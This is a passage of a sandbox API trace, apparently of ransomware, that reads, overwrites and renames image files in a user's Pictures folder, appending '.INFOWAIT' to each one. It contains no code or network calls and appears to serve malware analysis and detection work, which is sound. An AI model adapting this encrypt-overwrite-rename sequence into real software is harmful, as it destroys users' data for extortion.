GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3712 [0120.670] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.670] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.670] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3712, lpOverlapped=0x0) returned 1 [0120.673] VirtualAlloc (lpAddress=0x0, dwSize=0x3712, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.675] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.675] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3712, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3712, lpOverlapped=0x0) returned 1 [0120.675] CloseHandle (hObject=0xad4) returned 1 [0120.678] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\A3o-tRWcczzg.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\A3o-tRWcczzg.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\A3o-tRWcczzg.png" [0120.678] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\A3o-tRWcczzg.png", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\A3o-tRWcczzg.png.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\A3o-tRWcczzg.png.INFOWAIT" [0120.678] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\A3o-tRWcczzg.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\a3o-trwcczzg.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\A3o-tRWcczzg.png.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\a3o-trwcczzg.png.infowait")) returned 1 [0120.679] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.680] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.680] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\gwCCr5SN1.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\gwccr5sn1.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.681] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3145 [0120.681] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.681] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.681] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3145, lpOverlapped=0x0) returned 1 [0120.685] VirtualAlloc (lpAddress=0x0, dwSize=0x3145, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.687] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.687] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3145, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3145, lpOverlapped=0x0) returned 1 [0120.687] CloseHandle (hObject=0xad4) returned 1 [0120.694] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\gwCCr5SN1.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\gwCCr5SN1.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\gwCCr5SN1.bmp" [0120.694] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\gwCCr5SN1.bmp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\gwCCr5SN1.bmp.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\gwCCr5SN1.bmp.INFOWAIT" [0120.694] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\gwCCr5SN1.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\gwccr5sn1.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\gwCCr5SN1.bmp.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\gwccr5sn1.bmp.infowait")) returned 1 [0120.695] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.696] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.696] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\KCFGl8AGb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\kcfgl8agb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.697] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11dcc [0120.697] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.697] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.697] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x11dcc, lpOverlapped=0x0) returned 1 [0120.701] VirtualAlloc (lpAddress=0x0, dwSize=0x11dcc, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.708] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.708] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x11dcc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x11dcc, lpOverlapped=0x0) returned 1 [0120.709] CloseHandle (hObject=0xad4) returned 1 [0120.712] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\KCFGl8AGb.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\KCFGl8AGb.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\KCFGl8AGb.jpg" [0120.712] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\KCFGl8AGb.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\KCFGl8AGb.jpg.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\KCFGl8AGb.jpg.INFOWAIT" [0120.712] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\KCFGl8AGb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\kcfgl8agb.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\KCFGl8AGb.jpg.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\kcfgl8agb.jpg.infowait")) returned 1 [0120.713] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.714] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.715] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\4DWhN6RhpgdCQKemK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\4dwhn6rhpgdcqkemk.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.715] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19e1 [0120.715] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.715] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.715] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x19e1, lpOverlapped=0x0) returned 1 [0120.719] VirtualAlloc (lpAddress=0x0, dwSize=0x19e1, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.720] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.720] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x19e1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x19e1, lpOverlapped=0x0) returned 1 [0120.720] CloseHandle (hObject=0xad4) returned 1 [0120.722] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\4DWhN6RhpgdCQKemK.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\4DWhN6RhpgdCQKemK.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\4DWhN6RhpgdCQKemK.gif" [0120.723] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\4DWhN6RhpgdCQKemK.gif", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\4DWhN6RhpgdCQKemK.gif.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\4DWhN6RhpgdCQKemK.gif.INFOWAIT" [0120.723] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\4DWhN6RhpgdCQKemK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\4dwhn6rhpgdcqkemk.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\4DWhN6RhpgdCQKemK.gif.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\4dwhn6rhpgdcqkemk.gif.infowait")) returned 1 [0120.723] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.724] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.725] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\FN7 jccu.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\fn7 jccu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.725] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9318 [0120.725] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.725] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.726] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x9318, lpOverlapped=0x0) returned 1 [0120.730] VirtualAlloc (lpAddress=0x0, dwSize=0x9318, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.733] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.733] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x9318, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x9318, lpOverlapped=0x0) returned 1 [0120.734] CloseHandle (hObject=0xad4) returned 1 [0120.735] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\FN7 jccu.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\FN7 jccu.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\FN7 jccu.png" [0120.735] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\FN7 jccu.png", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\FN7 jccu.png.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\FN7 jccu.png.INFOWAIT" [0120.735] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\FN7 jccu.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\fn7 jccu.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\FN7 jccu.png.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\fn7 jccu.png.infowait")) returned 1 [0120.736] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.737] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.737] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\IMEhPArBi5zDx-qN3xQn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\luqhm\\imehparbi5zdx-qn3xqn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.738] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x128da [0120.738] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.738] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.738] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x128da, lpOverlapped=0x0) returned 1 [0120.741] VirtualAlloc (lpAddress=0x0, dwSize=0x128da, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.748] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.748] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x128da, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x128da, lpOverlapped=0x0) returned 1 [0120.749] CloseHandle (hObject=0xad4) returned 1 [0120.750] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\IMEhPArBi5zDx-qN3xQn.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\IMEhPArBi5zDx-qN3xQn.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\IMEhPArBi5zDx-qN3xQn.png" [0120.750] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\IMEhPArBi5zDx-qN3xQn.png", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\IMEhPArBi5zDx-qN3xQn.png.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\IMEhPArBi5zDx-qN3xQn.png.INFOWAIT" [0120.750] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\IMEhPArBi5zDx-qN3xQn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\luqhm\\imehparbi5zdx-qn3xqn.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\IMEhPArBi5zDx-qN3xQn.png.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\luqhm\\imehparbi5zdx-qn3xqn.png.infowait")) returned 1 [0120.755] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.756] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.757] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\l7-qaXxV0q.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\luqhm\\l7-qaxxv0q.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.757] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfabd [0120.758] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.758] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.758] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xfabd, lpOverlapped=0x0) returned 1 [0120.765] VirtualAlloc (lpAddress=0x0, dwSize=0xfabd, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.773] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.773] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xfabd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xfabd, lpOverlapped=0x0) returned 1 [0120.774] CloseHandle (hObject=0xad4) returned 1 [0120.777] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\l7-qaXxV0q.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\l7-qaXxV0q.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\l7-qaXxV0q.gif" [0120.777] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\l7-qaXxV0q.gif", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\l7-qaXxV0q.gif.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\l7-qaXxV0q.gif.INFOWAIT" [0120.777] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\l7-qaXxV0q.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\luqhm\\l7-qaxxv0q.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\l7-qaXxV0q.gif.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\luqhm\\l7-qaxxv0q.gif.infowait")) returned 1 [0120.778] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.779] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.779] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\znFXRDcUkqphQAEI4ui.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\luqhm\\znfxrdcukqphqaei4ui.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.780] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc3d1 [0120.780] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.780] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.780] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, 